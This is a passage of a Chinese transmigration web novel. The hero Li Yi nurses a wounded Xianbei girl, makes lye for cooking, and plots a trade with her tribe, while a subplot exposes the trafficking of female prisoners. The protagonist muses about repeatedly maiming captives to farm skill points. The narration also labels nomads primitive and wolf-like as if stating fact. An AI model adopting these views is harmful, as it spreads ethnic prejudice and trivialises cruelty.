“哦.......”
二人无措了应了一声,连忙后退闪开。
听到声音在热炕头上迷迷糊糊正犯困的豆子和大丫瞬间变得精神了。
“是三叔回来了吗?”豆子仰着红扑扑的小脸问,然后就看到李逸进到里屋。
“豆子,大丫,你们快让让.......”
张绣娘听闻拉着豆子和大丫到一旁,李逸将人放在炕上呼出一口气,就算是身体被强化过,在山里踩着走这么远的距离,也不是一件容易的事情。
“快,把她的衣服脱了,给她清洗包扎下伤口。”
“雪儿,你端点温水过来。”
李逸在椅子上坐下,吩咐着几女忙碌。
“呀!是个姑娘啊!”
张绣娘惊
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呼,乍一看她还以为这是李逸在山里碰到其他进山打猎的猎人。
“她身上好多伤口啊,这是怎么弄的?”这次发出疑问的是陈玉竹。
李逸喝了口水回答:“不知道怎么回事,她被狼群袭击了,要不是正好被我遇见,她已经被狼群啃干净了。”
“狼!”
听到狼这个字,大丫和豆子有些害怕缩到墙角。
白雪儿和于巧倩用水沾湿纱布擦拭这女子身上的血迹,当脸擦干净后,白雪儿惊讶地开口说道:
“夫君,这个姑娘长得有些奇怪啊,她的脖子上还戴着骨头串的项链呢。”
“嗯?”李逸连忙放下水碗走过来。
脸擦干净后,才发现这竟然是个很年轻的姑娘,年纪可能和陈玉竹差不多大,这姑娘很白净,是那种大骨架的女人,此时她双眼紧闭,长长的睫毛微微抖动。
她的长相和屋子里所有人的女人都不一样,颧骨有些突出,还有赤红脸,就像是打了腮红,五官少了些屋子里女人们的温婉柔和,多分几分野性。
她的头发散乱有没有头饰不清楚,但她脖子上的骨头项链也算是一种种族信仰。
这是个草原的姑娘啊!
联想之前从赵川那得到的消息,这姑娘的身份便很好确认了,她来自山的那边,是鲜卑族某个部落的女人。
被那么多只狼**,还能以惊人的毅力坚持到遇见李逸,由此可见这姑娘有着丝毫不比秦心月差的超强意志力。
“这应该山那边鲜卑部落的姑娘,是个蛮子呀!”李逸言简意赅地判断出女子的身份。
“蛮子!”
听到是蛮子,张绣娘脸色大变!秦心月和于巧倩看模样也听说过。
只有白雪儿和陈玉竹,她们要划分到和豆子大丫一个级别,大大的眼睛里,充满大大的疑惑。
“蛮子?”
“我以前听村里的老人说过,很久以前蛮子还来过咱们村子抢人抢粮食呢。”张绣娘说道。
李逸点头,这确实是游牧民族会干出来的事情,这个阶段的游牧民族,各种习俗和生存习惯,相对来说还是比较原始的状态,没有粮食没有人了,出去抢是最简单有效的解决办法。
“夫君,那她过来我们这边.....”
秦心月皱着眉,没有继续说下去,如果真是那样他们的处境会有些危险。
“我猜,她们过来就和土匪踩点儿一样,确定我们这边什么情况好决定怎么做,肯定不是一个人,应该还有同伴,只不过多半是死在狼群的利爪之下了。”
“那还救她吗?”
于巧倩问道,她很关心这个问题,不想刚得到的平静生活被无情地打破。
“先救人再说吧,她这样能不能熬过去还要看她的运气。”
李逸嘴上这么说,心里想的却很腹黑。
这蛮族姑娘伤得这么重,救下肯定会涨不少的医术熟练度啊!
至于救下后如何处置,就看这女人的表现,心狠点手黑点直接弄死,反正她也没安好心。
不想自己下手,那就直接送到县衙大牢,交给县衙处置。
打定了主意李逸就毫无顾忌地开始动手,一开始还觉得赤条条一个姑娘在面前,多少有些不妥,心态发生变化后,他能做到面不改色心不跳。
虽然说你这姑娘的身材是很好的,只有张绣娘能和你比一比,但我李逸有四个媳妇和一个嫂嫂,也是见过大世面的人。
女人身上的伤口很多,腿上,肩膀,手臂,都有野狼的齿痕,她能撑到现在生命力是真的顽强。
所有的伤口都清理完毕,几条被狼爪撕裂的长伤口,李逸还用针线给她缝合了一下,这能加速她伤口的愈合,最后敷上自制的伤药包上纱布,之后能不能活下去,就只能听天由命了。
给这蛮族姑娘处理完伤口,李逸和张绣娘抱着昏昏欲睡的豆子和大丫回张绣娘家。
等再回来已经是一个小时后,路程来回十分钟就足够,至于多出来的时间干了啥,秦心月她们彼此心照不宣,都对这件事闭口不提.......
夫君莫不是迷路了?
第八十二章:我的枪法这么差吗?
家里突然又多了一个人,炕头还有一排养老面的木桶,李逸顿时就觉得这火炕有些拥挤了,直接将白雪儿和陈玉竹都挤到了他的被窝里。
二女一边一个搂着他,还用一条腿搭着,这直接将李逸给封印了让他变成了工具人。
后半夜.....那个蛮族姑娘开始叽里咕噜地低声说着梦话,李逸伸手过去摸了摸她的额头,只觉烫得有些厉害。
虽说天气冷低温能杀死一部分细菌,但她的伤口是直接和狼的牙齿利爪接触的,总有些细菌是不怕冷,现在发烧了便是引发了炎症,人在身体虚弱的时候免疫系统无法正常运作,病菌就会在这个时候趁机作乱。
李逸制作的药粉中里面有蒲公英和几种有消炎效果的药草,就看这蛮族姑娘能不能挺过去,不过李逸还是特意起来,用木勺给她喂了些水。
这样的一幕,让秦心月想到她当时被救回来,李逸也应是同样如此悉心地照料她。
这一晚,除了大大咧咧的白雪儿睡得安稳踏实,其它人都因为那叽里咕噜梦话而睡得不安稳。
早上醒来时,李逸又摸了下这蛮族姑娘的额头,意外地发现高热已经退了不少,可见这草原鲜卑族原始归原始,身体素质是真的好,尤其是自我恢复调节的能力。
如此来看她这是挺过来便是死不了了,昨天给她紧急处理伤势将她从鬼门关里拉回来,到包扎完毕时医术熟练一次性增加了50点,非常可观。
这么丰厚的奖励,让李逸打起了歪心思,下次如果再遇到土匪,他就只打残不弄死,打断手脚的那种,给他接骨包扎治疗,确认获得医术的熟练度后再给他个痛快。
心再黑点,那就反反复复地刷让他彻底成为工具人,就是不知道系统是否允许这种无耻行为。
李逸将两个大陶翁搬出来,不用等到正午,现在就可以继续下一步的制作。
将屋里那口旧的大铁锅拔下来,李逸让何铁牛在院外找了处被风的地方临时搭建一个锅灶,避免在烧碱水时散发的味道熏着人。
他这边则是对静置好的草木灰水用纱布再进行过滤,防止烧到手他特意制作了一双皮手套。
刚加水搅拌时草木灰水看起来就像是墨汁,黑乎乎的,但在静置一夜后,水中的草木灰颗粒全部沉淀在陶翁底部,倒出来时用纱布将这些过滤确保草木灰水的颜色清透。
何铁牛在这时进院喊他:“李逸兄弟,锅灶我搭好了。”
看着这两大陶翁草木灰水,何铁牛是挠破脑袋都想象不出,最后李逸弄出来的东西是什么,不过昨天看还是黑乎乎的,一晚上后水竟然又变得透亮了,让他觉得很神奇。
帮着李逸将大陶翁搬出院子,何铁牛又去劈了些木柴送来,做完这些他才回到院子去忙碌着榨豆油。
李逸将大陶翁里的草木灰水倒进破伤风大铁锅里,在灶膛里加入茅草和松针点燃,之后放入细树枝,树枝的上面再加劈好的木柴。
“夫君在干啥呀,他看着好奇怪”
白雪儿偷闲和陈玉竹凑到门口,偷偷看着那边的李逸一个人在忙碌。
李逸正站在锅旁对着一大锅草木灰水发呆,手上戴着皮手套,手里拿着一根长木棍不停地在锅里缓缓搅动。
“我也看不懂啊,不过夫君说了不要过去的”陈玉竹小声说。
似是感受到二人的目光,李逸忽然转头看向她们这边,微笑招了招手。
陈玉竹也招手回应,被白雪儿拉着回到院子继续帮着磨豆粉。
“圈圈圆圆圈圈,天天年年天天的我...哦..”
李逸的心情还算不错,不自觉的就哼出了声。
搞音乐和抄诗装逼这方面想法,李逸是一点都没有,全天下的人都面临同一个吃不饱穿暖的问题,他歌唱得再好听,诗写得再牛,人都要饿**谁还有闲心关注这个。
不过......于巧倩好像是从骨子里喜欢文人的,受到他爹爹的影响,甚至她可能曾经还幻想过一段才子佳人的佳话。
想到这,李逸打算下次去县城,给她带些书简回来,她应该会喜欢的,闲着的时候还能教大丫和豆子看书识字,也是很有意义的一件事情。
目前除了白雪儿,就秦心月的好感度最高,再提升一些就能获得一点自由属性点。
短时间内李逸很有希望获得多个属性点,厨艺两三天内就能提升到下一等级,随机获得两点人物属性点。
狩猎技能若是再来几个土匪,或者遭遇个狼群同样可以升级,按推断是随机给三点人物属性点,这些加起来就是六点,这又将是对身体的一次大幅度强化,强化之后的身体素质直接碾压秦心月。
“体质属性加到一百点,给我一百个媳妇我也扛得住”李逸在心中得意地想着。
“话说回来,我的枪法这么差吗?这么多时日秦心月,白雪儿,陈玉竹,于巧倩,竟然是没有一个人有孕!”
“不应该吧.....系统爸爸都说是清除所有隐疾了,现在的身体状况应是健康的不能再健康了。”
“不是我的问题就好,概率学的事情,又有谁能解释得清楚啊......”
一直缓慢地搅拌着锅里的草木灰水,眼瞅着满满一锅熬煮得只剩下三分之一的程度,李逸知道这一步就快完成了。
他将灶膛里的木柴拿出一些从现在开始只能小火慢慢烧,手中的木棍还要持续缓慢的搅拌,时不时李逸将木棍拿出观察这些草木灰水的状态。
又过了一会,当李逸将搅拌的木棍拿起时,发现上面的液体始终垂在木棍上久久不落,用木棒点在一块石块上,片刻后就有结晶化的趋势,如此这一步骤彻底完成。
李逸找拿来事先制作好的木槽,用木勺将这些碱水倒进木槽中,不能装得太满,将厚度控制在三到五厘米之间,在木槽上覆盖木板防尘,之后要静置两天让这些碱水结晶化形成碱块。
因为所有的流程都很仔细认真,所以这种碱块碱的纯度大概在百分之四十左右。
想要进一步提纯,就要加水熬制再次重复这个过程,两遍之后碱的纯度可以提升到百分之八十之上。
虽说达到百分之四十的纯度就能使用,但这也代表着另外百分之六十全是杂质,如果在制作面食中使用会影响味道,即使复杂些也必须尽可能地提升纯度。
另外纯度越高,使用时消耗的就越少,弄这一次够使用很长时间的。
里屋,火炕上.....
何小牛和陈苗苗正在炕上玩,于巧倩在一旁低头看着李逸缝衣服的针脚,细密美观,之前他做皮帽子时,针脚还看着很别扭,现在他的针线活已经比绝大多数女人,甚至说是裁缝都要好。
“夫君,真是很厉害啊,只要是他想做的事情,似乎就没有做不成的,可惜了,多读读书定是个厉害的读书人。”
于巧倩在心中惋惜着,然后又听见炕上躺着的蛮族姑娘,在叽里咕噜的说着梦话,这蛮族的语言她是一个字都听不懂。
阴暗的树林中,到处都是野狼的嚎叫声,乌兰拼了的命奔跑着,她不知道在雪地中摔倒多少次,身体一次次地撞到树干和石头,她很累但却不敢停下来。
“乌兰!”
“乌兰!”
前方的树下身上鲜血淋漓的骨延和风律站在那里,骨延的面色惨白脖子还在向外喷涌鲜血,风律的左臂被咬得血肉模糊,隐约还能看到手臂的白骨。
“跑啊!一定要活着回去......”
“骨延!风律!”
乌兰猛地睁开双眼,树林不见了,耳边没有了狼嚎声,也没有了呼喊声......
模糊的视线逐渐清晰,所有的感官都在此时回归她的身体,全身上下多处疼,身下不知道是什么热乎乎的就像是阿娘的怀抱,耳边有幼儿呜呜吐口水泡泡的声音,时不时还传出咯咯的笑声。
这是哪?
看着这陌生的环境,乌兰努力回想着
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记忆的碎片快速在脑海中拼凑出画面,他们在山林中被狼群**,骨延被狼王咬断了咽喉惨死,风律也受伤严重,她一个人引着狼王和那些野狼逃跑,一路厮杀了三只野狼,弓箭丢了,**也丢了,最后的画面是她在山坡被野狼扑倒时,看到坡下有一个拿着弓箭的男人,之后还发生了什么事情,乌兰便记不得了。
“你醒了?”
一个女人坐过来惊喜地看着她,部落有中原人,乌兰能听懂一些中原人的语言。
“这....这......哪里?”
于巧倩诧异地眨了眨眼:“你会我说我们的话?”
“嗯.....能懂一些”
“这里是我家,你觉得怎么样?要喝着水吗?”于巧倩问道。
乌兰努力地组织着语言,想了想回答:“疼....没有力气,喝水”
于巧倩连忙下炕弄来一碗水,苗苗爬到乌兰身边,乌溜溜的眼睛盯着她,嘴里还在吐着泡泡。
于巧倩用木勺一点点喂给乌兰喝水,乌兰想要挣扎着起身,稍一动弹就感觉全身都疼。
“唉?你别动啊,你伤得很重,可是要养上几日了。”
“你等一下,我去喊我夫君过来....”
于巧倩抱着苗苗走到外屋,对着院子喊道:“雪儿,雪儿,你快喊夫君过来!”
李逸端着木槽笑着走过来:“不用喊了!你夫君我来了!”
“咋了,这么片刻的功夫没看到夫君,你就甚是想念了?来,夫君抱抱....”李逸笑着逗弄。
于巧倩脸颊微红,自家夫君什么都好,就是这大胆的话张口就说一点都不知羞,让她有些头疼。
“哎呀,你可别说这些,是那个蛮族姑娘醒了。”
“她醒了?”
李逸也很诧异,他还以为这蛮族姑娘还要再昏迷一天的。
乌兰躺在炕上虽是不能动,但能听见外面的交谈声,很快就看到一个男人端着什么东西进来,将那东西放在地上。
李逸摘下手套搓了搓手,走上前来摸了把乌兰的额头,还有些温热但烧已经退了,如此看自己配置的止血消炎的伤药,效果还是很不错的,若是能加上两种加速愈合伤口的药材,效果还能更好些。
“嗯......热退了,之后几天好好修养便可以了”
乌兰一眨不眨地盯着李逸,当时就是这个人在那陡坡下方,所以应是这人救下了她。
“是你...救我的?”
“呦?还会说我们中原话,不错,就怕不能沟通,那会有些麻烦”
“饿吗?”
被李逸问过后,乌兰才后知后觉感受到腹部空空的饥饿感。
“饿.....”
“躺着休息吧,有什么需要的可以说,我去给你熬点粥。”
乌兰躺在炕上没有马上再睡着,心中还在想着骨延和风律,骨延她亲眼所见是当场死亡,风律受的伤很严重除非也被人救下,否则绝无活下来的可能。
一想到部落损失了两个勇敢的男人,乌兰心里就像是有虫子在爬很难受,或许他们这次就不该出来。
砰砰砰......
外面不知道在干什么,能听到很多人在说话,还能听到这砰砰砰的奇怪声音,似乎是在用力砸这什么东西,有这么多人,这应该是个很大的部落吧。
乌兰向着侧面扭头,她想看看身下躺的是什么,这种热乎乎的感觉让她很是舒服,想着若是可以带回到部落里就送给阿娘。
看了半天乌兰也不懂身下是什么东西,这中原人的住房子和她们的毡房不一样,看着是方方正正的有些奇怪。
部落里的人,都说中原人很坏就像狼一样恶毒,可她却是被中原人给救下的,看他们的样子应该是认出了自己的身份,不过并没有因此而对她怎么样,难道是对她另有图谋?
身体不能动,脑袋胡乱地想着这些事情,没过多久一阵疲惫感袭来,乌兰沉沉睡去.......
第八十三章:这都吏大人,不简单啊!
这一觉不知道睡了多久,等乌兰醒来时发现屋子里黑呼呼的有微弱的火光晃动,她的身边又多了两个年轻的女人,就坐在她旁边。
“夫君,这个蛮族姑娘又醒了!”白雪儿看到后忙喊。
“雪儿,你不要太大声”陈玉竹在旁边拉了她一下。
乌兰视线从二女的脸上扫过,最后定在秦心月脸上,这个中原女人的脸上带着一股冷意,乌兰还在她的身上感觉到一股很危险的气息,就像是被一只狼王给盯上了。
李逸正在给秦心月丈量身子,听闻也看过来。
“雪儿,去给她盛碗粥来”
“哦,知道了夫君!”
夫君的意思是什么乌兰不清楚,但看这些女人对着中原男人的态度,应该就是她们的男人。
这种习俗乌兰也听族人说过,和她们的部落完全不一样,在草原人的部落中女人是有着很高地位的,除了打仗这些事情,男人都必须要听女人的。
所以那些被抢到部落里的中原女人,能够很快就适应并接受新的身份,一旦她们怀了孩子就有了身份地位,不像是在中原里要讲求三从四德,要对夫家言听计从,善妒是大忌。
正是因为这个原因,乌兰反而会觉得将中原的女人抢回部落里,那是在救她们。
李逸将一个小炕桌搬上炕,最开始的时候大家还觉得弄这么一个小桌子在炕上吃饭有些不妥,可在用过几次后,大家又觉得这炕桌很方便实用。
冬日的温度低,坐在炕上屁股下面始终是暖暖的,吃饭的时候不用着急可以慢慢吃。
李逸继续给秦心月丈量身体,为此还特意制作了一个皮绳,这样能更量得更精确。
肩宽,臂长,臂围,胸围,臀围.....
在这整个过程中,乌兰就那么盯着看,这让冷傲的秦女侠有点冷不下去了,脸颊出现两朵红霞。
“粥来啦....”
白雪儿端着一大碗温热的粟米粥过来,放下后粥碗她和陈玉竹合力将乌兰给扶了起来。
被子滑落......乌兰那被层层包裹的身体便露了出来。
乌兰愣住,她才意识到自己现在光溜溜的状态,就是草原儿女不拘小节,但她毕竟是还没有男人呢。
李逸下意识地看过来,虽说全被纱布遮挡着,但还是觉得有些不妥,于是很坦荡地避开视线,这个姑娘身上很多伤口都是他处理的还缝了针,又不是没看过,就不需要装什么不好意思了。
“雪儿,快给她找件里衣穿上。”
李逸面不改色地说完,就去了炕下桌子旁裁剪衣服,用的是那卷比较深的蓝色绸布。
看着李逸在灯光下认真地剪裁着布料,秦心月的内心也有些期待,雪儿穿到那套浅粉色的衣服大家都觉得好看,活动干活时也都方便。
秦心月自幼开始穿的都是适合练功的衣服,寻常女子穿的那种襦裙长裙她只穿过几次,虽是好的布料也见过用过,但那和夫君亲手给缝制的自是不同。
被白雪儿和陈玉竹帮着穿好衣服,乌兰用有些别扭的发音说道:
“谢......谢.....”
身上缠绕的纱布有几处伤口比较严重的地方有血迹渗出,乌兰只是微微皱眉,觉得这些疼痛算不得什么。
双眼盯着面前小桌上摆着的一碗金黄的粥,她能闻到一股诱人的清香。
陈玉竹用小木勺喂了一口,乌兰吃后很是诧异,虽是味道有些熟悉,但这粥是比草籽粥好吃多了。
“这是.......什么?”乌兰问道。
“粟米粥啊,你们那边没有吗?”白雪儿回答。
乌兰眨了眨大眼睛,原来工匠说的是真的,粟米是要脱壳之后才能吃的味道更香,口感也变了。
“我们.....那边....只有草场,没有这种米...”
听乌兰所说,白雪儿很是疑惑地歪了歪头,她想象不出那是个什么地方,全都是草吗?
“那你们吃什么呀?”白雪儿问道。
“牛,羊,奶干,奶酪,草根,野菜,菜籽,什么能吃,吃什么...”
因为不知道有些词要怎么说,乌兰需要想很久,这还是他哥哥乌孤提议的,让族人没事时都去和族里从中原来的女人学习中原话,这样遇到中原人才能正常地沟通交流。
“你叫什么名字?我叫白雪儿”
“我叫,乌兰”
如果按照中原话来说应该叫红色或者赤红,可那样会让乌兰觉得名字很奇怪。
“雪儿还真是不认生呢,这么快就和蛮族姑娘聊起来了。”
于巧倩帮着李逸一起做针线活,虽是李逸从来不强求她们做什么活计,但于巧倩觉得既然现在她是个农妇,也理应学着做些什么才是,别让人说她是好吃懒做的闲妇。
“我觉得的这样挺好的,活泼可爱”李逸说道。
于巧倩无奈一笑:“雪儿本就是大大咧咧的性子,夫君你这么宠着她,非得给她宠得天不怕都不怕。”
二人虽是说的声音不大,但在炕上的白雪儿是听得很清楚。
她看过来故作生气地说道:“姐姐,你这不就是在说雪儿恃宠而骄吗?雪儿才不是那样,我也是知道分寸的。”
于巧倩连忙赔不是:“成成成,是我错怪你了,雪儿你大人有大量,就饶过我这次嘛”
白雪儿得意地扬起下巴:“哼!算你识相,既然姐姐这么说了,以后我们还是好姐妹。”
李逸故作严肃地点头:“嗯.......雪儿你放心,今晚夫君定不会轻饶她。”
“夫君....”
于巧倩忙低下头娇嗔,心说自家这夫君的胆子太大,说话一向不避讳,这在县城里别说错话得罪了什么人,以后得多提醒着他才是。
李逸笑了笑,他最是喜欢逗弄倩儿和心月,至于玉竹,她和白雪儿的性格很像但又能在她身上看到倩儿的影子,很好相处,大家也都很喜欢她。
一碗粥下肚,乌兰感觉肚子里舒服多了,犹豫了片刻她最终还是忍不住开口说要方便,李逸很识相地到外屋回避。
某处山林之中.....
一只趴在地上的野狼突然警觉地站起身,对着黑暗中的某处龇出獠牙。
黑暗中,先是一对闪烁着幽光的眼睛,紧接着一只体格庞大的野狼踩着积雪缓步走来。
明明没有发出任何声音,却是让和它对峙的野狼缓缓回退,显然它已经被属于狼王的气势给震慑住了。
嗷呜.....
这只野狼连忙发出示警的叫声,很快一只只野狼从黑暗中浮现,全都**到这边。
年轻的狼王一只面对它们十几只,双眼之中看不到任何怯意,目光滤过它们看向某处.....
群狼似是感应到什么纷纷转头,巨大的阴影缓缓浮现,又一只体型庞大的野狼走过来,它是这支狼群的狼王,独眼狼王,这是它挑战上一任狼王时所伤,但它也成功成为了新一任的狼王。
现在的它已经年迈,虽狼王的威严依旧存在,但它也知道自己统治的地位早晚会易主,所以独眼狼王将狼群里一只快速成长有资格挑战它的野狼给赶出了族群。
如今,它回来了......
嗷呜.....
独眼狼王发出低沉的嚎叫,这场迟来的对决它必须应战。
它虽身经百战体型也更庞大,但它已没有了年轻。
嗷呜!
归来的年轻狼王嚎叫一声主动发起攻击,疾行冲到独眼狼王面前跃起,利爪直取独眼狼王的肩胛,独眼狼王侧身躲闪,利爪带起一片灰**的同时它狠狠地甩头,布满锋利獠牙的血盆大嘴擦过年轻狼王的脖颈,若这一下咬结实了,战斗便在此时结束了。
年轻狼王迅速压低身子翻滚躲避,它的动作很敏捷,稍作调整旋即再度扑上来,独眼狼王自知体力无法相比,唯有沉稳的应对,等待时机击败它的挑战者!
试探,扑咬,年轻狼王一次次进攻,独眼狼王每次都成功抵挡住它的攻击,几个回合下来,双方都是只受了些轻伤,不过若是仔细听,便是会发现独眼狼王呼吸粗重的很明显。
大体型是力量的象征是体型的优势,但在年迈时也是体力的沉重负担。
不给独眼狼**何喘息的机会,年轻狼王再次发起攻击,攻击比之前还要狂猛,它飞身扑过去,在独眼狼王同样跃起反击时,它却是突然停止攻击迅猛转到独眼狼王眼瞎的一侧,一爪抓在腰腹的肋骨处。
独眼老狼王甩身,用宽厚的背脊撞开年轻
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狼王,转身反咬却因视线盲区慢了半拍,被年轻狼王趁机咬住耳根,剧痛让独眼狼王发出暴怒的咆哮,它疯狂甩动头颅试图挣脱,却被年轻狼王死死钳制住。
年轻狼王四肢蹬地,将体重全压在独眼狼王身上,獠牙不断深入,独眼狼王的鲜血沿着它的嘴角滴落在雪地上。
这是最的后角力,独眼狼王的挣扎渐渐无力,独眼里的狠厉被疲惫所取代。
年轻老王的利齿已经将它脖颈的皮肉咬烂,滚烫的鲜血从伤口处汩汩流出,生命力在它的独眼中和鲜血一样快速地流逝,它咽下了最后的一口不甘,气绝.....
年轻狼王站在是独眼狼王的尸体上昂首嘶吼,雄浑的咆哮声震彻山谷,山风吹动它的长毛肆意乱舞,周围的野狼一只只匍匐在地,嘴里发出低吼,臣服它们的新王.......
安平县县衙,书房.....
在县衙亲自坐镇了几天的周之栋,用力地掐着眉心。
新的布告是他亲自拟定的也让林平跟着去到各乡里张贴,然而几天过去了,县衙里总共来了四个农户,分地选地时支支吾吾,要去县衙大牢选女囚时眼睛却滴溜溜地一个劲儿乱转。
周之栋的眼光是何其老辣,一眼就看出了端倪便让林平跟了去,结果发现这些农户全将女囚送给一个络腮胡汉子,再由那人赶着驴车送到下面某个乡里的窑子里。
林平一个人掀翻整个窑子的打手,绑了那个汉子,又把几个女囚全都带了回来。
周之栋听闻震怒!
竟是有人如此蔑视县衙,他连夜让县衙去窑子抓人,也将用假身份来分田地那些农户全部扣押。
分地进行得如此不顺利也就罢了,竟是还揪出了这档子事,在命张贤核实之后,更是发现有五十亩所分田地全是用假名假身份分的,目的就是将一些女囚贩卖到乡里和县城里的窑子。
如此,田地没分成,还又少了五十亩!这如何让人不恼火!
砰!
周之栋狠狠将名册摔在桌子上,正面跪着的张贤匍匐在地,冷汗浸湿后背。
“张贤!你这是渎职之罪!你就是这样做事的?竟是连身份都不核对!”
“都吏大人息怒,下官没能尽心尽力为郡守大人分忧,甘愿受罚......”张贤声音微颤。
另一边的伍思远面色同样难看,他们这么多次都没能发现端倪,结果偏偏是被都吏大人给一眼看出,这真是想解释都找不到一个像样的理由,他也难辞其咎。
周之栋阴沉着脸,沉吟片刻口说道:
“县丞张贤,渎职懈怠,罚俸半年!”
“县令伍思远,督办属下不力,罚俸禄三月!”
“你二人可愿意?”
虽说都吏只有监察之权,没有这种实际权力,但既然他敢说这样的话,郡守大人就是他的底气。
“下官,甘愿受罚!”
伍思远和张贤听闻不敢有半点怨言,连声应允。
稍作停顿,周之栋的语气缓和了些继续说道:
“你二人应该清楚,若是不能解决分地的问题,到最后层层追究下来你们会是何种结果。”
“我是无权扣你们俸禄的,你二人将俸禄拿出补贴给前来分地的穷困农户,应是可以吸引一些农户过来分地,如此可解燃眉之急。”
“对外,便是说县令和县丞体恤穷苦农户,特给前来分的农户们一些粟米,每亩二十斤,数量有限。”
张贤和伍思远听后一愣,随后都在心中惊叹:此乃妙计呀!
既是能解决燃眉之急,又能在县下百姓口中留下个好名声,一举两得!
而都吏大人,既惩罚了办事不利的下属官员,又能替郡守大人分忧解决分田地的问题,还给了伍思远和张贤一个人情,此乃一举三得!
按当今圣上新颁布的律令。
县令年俸六百石,月俸五十石,罚俸三月便是一百五十石。
县丞年俸三百石,月俸二十五石,罚俸半年同样是一百五十石。
如此加起来便是三百石,折算为斤足有三万斤!可多分出千亩田地!
伍思远心中惊叹:这都吏大人真是不简单啊,难怪能为郡守大人心腹,他日前途不可限量!可是得借机攀附结交啊.....
第八十四章:纠结的小蛮妞
乌兰在炕上躺了三日,才能下地走动,身上虽是也穿了一套中原女子的冬衣,但依旧能看出她和周围女人的不同,草原人外貌的特征和中原人的差异太明显了。
她的皮衣用的是上好的羊皮,但在逃亡中被野狼抓烂咬烂,还满是血迹,李逸虽是有修补的手艺,但在那之前要先将血迹清理干净,正好到时候试验下肥皂的去污效果如何。
在这三日里,乌兰吃到了很多让她感觉到惊叹的美味食物,粟米粥和那些都没有办法相比,来中原之前,她还以为中原人也全都在忍饥挨饿,艰难地过着这个冬天。
来之后才发现,他们住的房子,吃的东西都比草原上要好,虽说没有牛羊肉也没有奶皮子吃让她的很不习惯,但这里有很多食物都给了她深刻的印象,比如馒头,包子,还有那豆腐和豆芽。
另外乌兰也发现了,中原的女人是真的很多,这个名叫李逸的中原男人就有四个媳妇,而在他院子里干活的人中也只有一个男人,剩下的几乎都是寡妇。
年纪太大的不能要没几年生养的时间,年纪小些的都能带回到部落去给部落的男人们生孩子,来壮大部落。
只是看这些女人的样子,她们定是不愿意去草原部落生活的,得找那些日子过得辛苦的。
在最让乌兰困扰纠结的,是她此次的任务,骨延和风律是奉了哥哥乌孤的命令,来中原这边探查,确认这边部落的实力,而在查明情况之后的下一步,便是过来抢掠,抢食物!抢女人!
然而世事难料,本以为就是一次寻常的探查,却是不走运地被狼群**,**两个族人不说,乌兰也身负重伤,没有李逸救下她,在那个陡坡下她就要被野狼啃食干净了。
草原的儿女最重情义,有恩报恩,有仇报仇,自是没有有恩报仇的道理,所以便是不能再让族人过来抢掠,偏偏部落现在的情况又很艰难,需要食物,需要人。
一边是部落,一边是救命恩人,乌兰在炕上躺着时一直被这个问题反复地纠缠着,总是觉得选择了一边便对不起另外一边。
站在屋门口,看着院子内这些中原人在卖力的劳作,乌兰终于不再纠结,她不能伤害对她有恩的人,哪怕对方是中原人,她也相信就算哥哥乌孤在这里,也会跟她做同样的决定。
部落现在所面临的困境,只能再去想其它的办法,可以像以前那样去寻找些游散的小部落,去抢他们的人和牛羊壮大部落。
最开始,秃发部落也只是一个几十人的小部落,是在一次次的战斗中吸收了其它部落的人后,慢慢发展成超五百人的大部落,最鼎盛时他们的部落人数甚至超过千人。
挨过这个冬天,避开拓跋部落,慕容部落这种大型部落,继续抢掠那些小型部落,过上一两年秃发部落就能重新壮大。
李逸正在套骡车,有些时日没有去县城,近几日的天气一直不错,路上的积雪少了大半,这段时日榨油消耗的黄豆足有两千多斤,得到了大概四百斤的豆油暂时是够用了,所以今天开始他所有人都开始制作豆腐。
上次离开县城时,就有百姓在官道清理积雪,如今已经过去七八天,通往临县的官道早就该通了,知道小麦的重要性,各个店铺会第一时间甚至提前些前往临县收购,陈林就算有财力也无法做到短时间将临县的小麦收购一空,不需要在担心原材料的问题。
李逸瞥到屋门口的乌兰,在同一个屋檐下生活了三天,这个小蛮妞内心戏可是足得很,从睁开眼她就在纠结,一纠结就是一天,心声不停地出现在李逸脑海中,搞得李逸很想把她拉黑屏蔽了。
不过他也因此清楚了这小蛮妞不算是什么坏人,这个侍妾整个草原游牧民族都处于未开化的阶段,他们的部落认知族群认知原始的跟一群狼没区别,无法生存就是要抢要夺。
女人在部落的地位很高,这就造就了蛮族女人的善妒,她们绝对不允许自己的男人有第二个女人,若是丧偶女人是必然会传给丈夫的兄弟,她属于财产的一部分,甚至后娘可以被儿子所继承。
在这个时期,匈奴,鲜卑这些游牧民族还没有太过清晰的善恶认知,所做的一切只是为了在恶劣的环境生存下去。
李逸虽是知道这些,但若这个小蛮妞心里想的还是回去之后带族人过来抢掠,必是不可能让她回到山那边。
在小蛮妞的心声中,经常会出现一个名字,那就是她的哥哥乌孤,李逸推断这个乌孤在她的部落中极有身份和地位,甚至可能是部落的首领。
之所以是推断之后才得出这个结论,而不是直接听出来的,是因为一个正常人心中想事情时,不会给自己的亲人增加前缀。
“啊,我的县令哥哥,哦,我的狗皇帝父亲,哈,我的族长哥哥......”
在知晓乌兰的身份后的,李逸也有了新的想法,只要能解决乌兰部落眼下的困境,他们自然就不会再想着过来抢掠,说道生存,第一便是食物问题,之后才是族人少的问题。
族人少的问题李逸无法解决,中原现在刚太平同样是地广人稀,也不可能给他们女人,若是那样他李逸就成了人牙子,但在食物的问题上他可以帮着解决。
游牧民族的核心是放牧,有很多牛羊,他们平时便是吃牛羊肉和各种奶制品,而在中原,牛羊很是稀缺。
作为穿越过来的现代人,李逸最是知道肉蛋奶都人体的重要性,这也是草原人多强壮高大威猛的原因。
李逸自己有系统靠加点就足够了,身体倍棒吃嘛嘛香,媳妇用过都说好。
但他的家人们,以及未来的孩子们都是需要这些的,既然有机会,他可以用粮食和盐去交换乌兰她们的部落牛羊。
如此一来两方的问题全都解决了,李逸在县城里买既没渠道,价格还高,但若是直接和游牧民族做买卖,渠道有了,价格还低廉,最重要的是品质还高,他没有理由不选择。
心中打定了注意,李逸没有着急走转身向乌兰走去。
“乌兰姑娘,有些话我要和你说,咱们进屋谈吧”
见李逸表情郑重,乌兰点头后跟着进到里屋。
炕上的于巧倩意外地看着进来的李逸问道:“夫君不是要去县城吗?”
“我有些话,要和乌兰姑娘说,说完再走。”李逸在炕边坐下说道。
“哦...那我先出去”
知道自家夫君可能是要谈什么事情,于巧倩准备回避。
李逸伸手拦住她:“不用,你是我媳妇有啥需要回避的吗,都是一家人”
于巧倩浅笑微微点头,这就是夫君异于常人之处,以前爹爹与旁人说话,她和娘都是要回避的。
“乌兰姑娘,你们进山会遇到狼群,恐怕不是进山打猎那么简单吧?”
“让我猜猜.....你们是来探查情报的?”
